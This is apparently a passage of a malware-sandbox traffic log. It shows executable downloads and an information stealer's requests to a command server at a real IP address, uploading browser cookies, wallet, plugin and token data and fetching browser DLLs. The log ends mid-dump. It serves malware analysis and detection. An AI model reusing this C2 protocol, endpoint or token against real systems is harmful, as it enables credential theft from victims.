Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 07:30:46 GMTContent-Type: application/octet-streamContent-Length: 3249152Last-Modified: Tue, 12 Nov 2024 07:12:33 GMTConnection: keep-aliveETag: "6732ffe1-319400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 a0 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 31 00 00 04 00 00 4e 85 32 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 89 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc 88 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 92 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 76 6c 79 75 74 6e 73 71 00 e0 2a 00 00 b0 06 00 00 da 2a 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 71 63 65 70 64 75 68 00 10 00 00 00 90 31 00 00 04 00 00 00 6e 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 31 00 00 22 00 00 00 72 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 07:32:09 GMTContent-Type: application/octet-streamContent-Length: 1802752Last-Modified: Tue, 12 Nov 2024 07:12:25 GMTConnection: keep-aliveETag: "6732ffd9-1b8200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 40 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 69 00 00 04 00 00 cb 7f 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 a0 24 00 00 00 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2a 00 00 c0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 66 74 64 75 68 7a 67 00 f0 19 00 00 40 4f 00 00 e6 19 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 73 6a 66 6c 79 6f 75 00 10 00 00 00 30 69 00 00 04 00 00 00 5c 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 69 00 00 22 00 00 00 60 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJEGCBGIDHCAKEBGIIDBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 45 38 31 30 32 45 35 37 39 38 36 33 35 37 36 38 35 30 37 39 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 2d 2d 0d 0a Data Ascii: ------JJEGCBGIDHCAKEBGIIDBContent-Disposition: form-data; name="hwid"1E8102E579863576850798------JJEGCBGIDHCAKEBGIIDBContent-Disposition: form-data; name="build"mars------JJEGCBGIDHCAKEBGIIDB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHIJDHCAKKFCBGCBAAECHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 38 33 39 34 33 65 61 63 37 38 36 62 63 35 61 37 64 61 31 36 63 36 63 39 31 30 31 33 63 61 61 38 39 61 63 63 31 33 61 62 65 37 32 39 35 39 31 62 33 33 31 35 63 37 39 65 62 62 38 37 33 66 63 31 65 39 36 61 61 37 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 2d 2d 0d 0a Data Ascii: ------EHIJDHCAKKFCBGCBAAECContent-Disposition: form-data; name="token"8583943eac786bc5a7da16c6c91013caa89acc13abe729591b3315c79ebb873fc1e96aa7------EHIJDHCAKKFCBGCBAAECContent-Disposition: form-data; name="message"browsers------EHIJDHCAKKFCBGCBAAEC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCFBAKKJDBKJJJKFHDAEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 46 42 41 4b 4b 4a 44 42 4b 4a 4a 4a 4b 46 48 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 38 33 39 34 33 65 61 63 37 38 36 62 63 35 61 37 64 61 31 36 63 36 63 39 31 30 31 33 63 61 61 38 39 61 63 63 31 33 61 62 65 37 32 39 35 39 31 62 33 33 31 35 63 37 39 65 62 62 38 37 33 66 63 31 65 39 36 61 61 37 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 42 41 4b 4b 4a 44 42 4b 4a 4a 4a 4b 46 48 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 42 41 4b 4b 4a 44 42 4b 4a 4a 4a 4b 46 48 44 41 45 2d 2d 0d 0a Data Ascii: ------GCFBAKKJDBKJJJKFHDAEContent-Disposition: form-data; name="token"8583943eac786bc5a7da16c6c91013caa89acc13abe729591b3315c79ebb873fc1e96aa7------GCFBAKKJDBKJJJKFHDAEContent-Disposition: form-data; name="message"plugins------GCFBAKKJDBKJJJKFHDAE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEBFHCAKFBGDHIDHIDBKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 38 33 39 34 33 65 61 63 37 38 36 62 63 35 61 37 64 61 31 36 63 36 63 39 31 30 31 33 63 61 61 38 39 61 63 63 31 33 61 62 65 37 32 39 35 39 31 62 33 33 31 35 63 37 39 65 62 62 38 37 33 66 63 31 65 39 36 61 61 37 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 4b 2d 2d 0d 0a Data Ascii: ------IEBFHCAKFBGDHIDHIDBKContent-Disposition: form-data; name="token"8583943eac786bc5a7da16c6c91013caa89acc13abe729591b3315c79ebb873fc1e96aa7------IEBFHCAKFBGDHIDHIDBKContent-Disposition: form-data; name="message"fplugins------IEBFHCAKFBGDHIDHIDBK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIJJEGHDAEBGCAKJKFHHost: 185.215.113.206Content-Length: 5599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJJKKJJDAAAAAKFHJJDHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 38 33 39 34 33 65 61 63 37 38 36 62 63 35 61 37 64 61 31 36 63 36 63 39 31 30 31 33 63 61 61 38 39 61 63 63 31 33 61 62 65 37 32 39 35 39 31 62 33 33 31 35 63 37 39 65 62 62 38 37 33 66 63 31 65 39 36 61 61 37 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 2d 2d 0d 0a Data Ascii: ------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="token"8583943eac786bc5a7da16c6c91013caa89acc13abe729591b3315c79ebb873fc1e96aa7------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------GIJJKKJJDAAAAAKFHJJD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDAAKJEGCFCAKEBKJJEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 38 33 39 34 33 65 61 63 37 38 36 62 63 35 61 37 64 61 31 36 63 36 63 39 31 30 31 33 63 61 61 38 39 61 63 63 31 33 61 62 65 37 32 39 35 39 31 62 33 33 31 35 63 37 39 65 62 62 38 37 33 66 63 31 65 39 36 61 61 37 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 2d 2d 0d 0a Data Ascii: ------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="token"8583943eac786bc5a7da16c6c91013caa89acc13abe729591b3315c79ebb873fc1e96aa7------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="file"------GHDAAKJEGCFCAKEBKJJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGDGHCBGDHJJKECAECBHost: 185.215.113.206Content-Length: 3083Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHJECAFIDAFHJKFCGHIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 38 33 39 34 33 65 61 63 37 38 36 62 63 35 61 37 64 61 31 36 63 36 63 39 31 30 31 33 63 61 61 38 39 61 63 63 31 33 61 62 65 37 32 39 35 39 31 62 33 33 31 35 63 37 39 65 62 62 38 37 33 66 63 31 65 39 36 61 61 37 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 2d 2d 0d 0a Data Ascii: ------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="token"8583943eac786bc5a7da16c6c91013caa89acc13abe729591b3315c79ebb873fc1e96aa7------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="file"------DGHJECAFIDAFHJKFCGHI--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIECFHDBAAECAAKFHDHIHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBAAFHDHCBGCAKFHDAKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 42 41 41 46 48 44 48 43 42 47 43 41 4b 46 48 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 38 33 39 34 33 65 61 63 37 38 36 62 63 35 61 37 64 61 31 36 63 36 63 39 31 30 31 33 63 61 61 38 39 61 63 63 31 33 61 62 65 37 32 39 35 39 31 62 33 33 31 35 63 37 39 65 62 62 38 37 33 66 63 31 65 39 36 61 61 37 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 41 41 46 48 44 48 43 42 47 43 41 4b 46 48 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 41 41 46 48 44 48 43 42 47 43 41 4b 46 48 44 41 4b 2d 2d 0d 0a Data Ascii: ------BFBAAFHDHCBGCAKFHDAKContent-Disposition: form-data; name="token"8583943eac786bc5a7da16c6c91013caa89acc13abe729591b3315c79ebb873fc1e96aa7------BFBAAFHDHCBGCAKFHDAKContent-Disposition: form-data; name="message"wallets------BFBAAFHDHCBGCAKFHDAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIJKJJKEBGHJKFIDGCAHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 38 33 39 34 33 65 61 63 37 38 36 62 63 35 61 37 64 61 31 36 63 36 63 39 31 30 31 33 63 61 61 38 39 61 63 63 31 33 61 62 65 37 32 39 35 39 31 62 33 33 31 35 63 37 39 65 62 62 38 37 33 66 63 31 65 39 36 61 61 37 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 2d 2d 0d 0a Data Ascii: ------CGIJKJJKEBGHJKFIDGCAContent-Disposition: form-data; name="token"8583943eac786bc5a7da16c6c91013caa89acc13abe729591b3315c79ebb873fc1e96aa7------CGIJKJJKEBGHJKFIDGCAContent-Disposition: form-data; name="message"files------CGIJKJJKEBGHJKFIDGCA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJEBAECGCBKECAAAEBFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 38 33 39 34 33 65 61 63 37 38 36 62 63 35 61 37 64 61 31 36 63 36 63 39 31 30 31 33 63 61 61 38 39 61 63 63 31 33 61 62 65 37 32 39 35 39 31 62 33 33 31 35 63 37 39 65 62 62 38 37 33 66 63 31 65 39 36 61 61 37 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 